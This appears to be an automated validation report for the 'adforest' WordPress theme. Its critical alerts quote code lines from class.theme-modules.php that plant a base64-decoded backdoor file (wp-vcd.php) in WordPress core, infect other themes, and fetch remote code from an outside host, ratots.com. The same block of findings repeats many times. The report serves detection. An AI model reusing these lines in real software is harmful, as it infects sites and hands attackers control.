0
Validation results

adforest

adforest

WordPress 4.9.8 theme
0
Critical alerts
  1. Security breaches : Modification of PHP server settings Found ini_set in file class.theme-modules.php.
    Line 5: ini_set('display_errors', 0);
  2. Security breaches : Use of base64_decode() Found base64_decode in file class.theme-modules.php.
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
    Line 91: $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
  3. Malware : Operations on file system file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Line 45: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Line 112: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 139: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 217: @file_put_contents(__FILE__, $file);
    file_put_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Line 45: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Line 112: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 139: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 217: @file_put_contents(__FILE__, $file);
    file_put_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Line 45: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Line 112: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 139: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 217: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Line 45: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Line 112: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 139: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 217: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Line 45: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Line 112: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 139: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 217: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Line 45: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Line 112: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 139: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 217: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Line 45: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Line 112: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 139: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 217: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.ratots.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.ratots.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Line 45: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Line 112: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 139: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 217: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file utilities.php
    Line 2158: $geocodeFromAddr = file_get_contents('https://maps.googleapis.com/maps/api/geocode/json?key='.
  4. Hidden admin bar : Hidden admin Bar Themes should not hide admin bar. Detected in file : utilities.php.
  5. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was js_composer.zip sb_framework.zip.
Warning
  1. Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
  2. Screenshot : Screenshot fileBad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  2. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  3. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  4. Optional files : Presence of category template file category.phpThis theme does not contain optional file category.php.
  5. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  6. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  7. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  8. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  9. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  10. Use of includes : Use of include or requireThe theme appears to use include or require : class.theme-modules.php
    Line 44: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-vcd.php\')) include_once(dirname(__FILE__) . \'/wp-vcd.php\'); ?>' . $file;
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.

This is a ThemeForest theme. Since Themeforest items are all checked by a human before they appear on their website, ThemeForest verification rules are more permissive than themecheck's and can give a better verification score ( Themeforest requirements ).

39
Critical alerts
  1. Security breaches : Modification of PHP server settings Found ini_set in file class.theme-modules.php.
    Line 5: ini_set('display_errors', 0);
  2. Hidden admin bar : Hidden admin Bar Themes should not hide admin bar. Detected in file : utilities.php.
  3. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was js_composer.zip sb_framework.zip.
Warning
  1. Screenshot : Screenshot fileBad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  2. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  3. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  4. Optional files : Presence of category template file category.phpThis theme does not contain optional file category.php.
  5. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  6. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  7. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  8. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  9. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  10. Use of includes : Use of include or requireThe theme appears to use include or require : class.theme-modules.php
    Line 44: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-vcd.php\')) include_once(dirname(__FILE__) . \'/wp-vcd.php\'); ?>' . $file;
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes